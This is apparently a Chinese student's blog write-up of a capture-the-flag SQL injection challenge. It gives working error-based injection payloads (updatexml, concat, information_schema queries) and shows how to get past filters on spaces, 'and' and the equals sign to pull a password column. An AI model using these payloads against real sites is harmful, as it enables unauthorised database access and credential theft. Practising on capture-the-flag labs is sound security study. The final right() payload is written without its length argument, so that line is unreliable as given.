编者语:突觉大学时光依然过半,本人以网安作为目标,却自认无法用略知一二形容自己的水平,故觉羞愧,尝试搭建博客记录并督促自己的学习进度
1:初遇

此题为hard-sql,显然为考察sql注入掌握的题目,故按照以往的经验,首先判断闭合方式
1 | -1' and 1=1# |
居然收到了警告(出题人很调皮啊)

看样子是过滤了部分符号
2:相识
首先确定了此题过滤了空格,第一时间想到可以用%20绕过,但是尝试后发现%20也被过滤了,但联想到之前有过相似的过滤空格题目,当时在网上查阅到可以使用()进行绕过,显示密码错误,判断此题使用报错注入
后续编写payload时发现and与&&也被过滤,但奇怪的是,or并没有被过滤,所以有了第一个payload
1 | -1'or(updatexml(1,concat(0x7e,database()),1))# |

成功得到数据库名’geek’,呢么接下来的就很简单了
‘code’
-1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database()))),1))#
‘’’
吗?

居然还有被过滤的符号!
3:相知
仔细观察代码,发现可能是等号被过滤,使用1’or(1=1)#证实猜想,本人第一次遇到过滤等号的题目,着实令我很头痛,第一反应为可以使用类似空格%20的绕过,但搜索过后并没有相关结果,但是发现了可以使用like进行绕过
LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式。(不使用通配符的情况下等同于=)
更新payload为:
1 | -1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))# |
得到了表名’H4rDsq1’。同理爆列名与flag
1 | -1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1))),1))# |

产生的flag并不全,updatexml函数所显示的长度有限,使用right函数显示余下内容:
1 | -1'or(updatexml(1,concat(0x7e,(select(right(group_concat(password)))from(geek.H4rDsq1))),1))# |
得到结果:
1 | flag{951b4eec-634f-4c2d-a99c-cb110059080e} |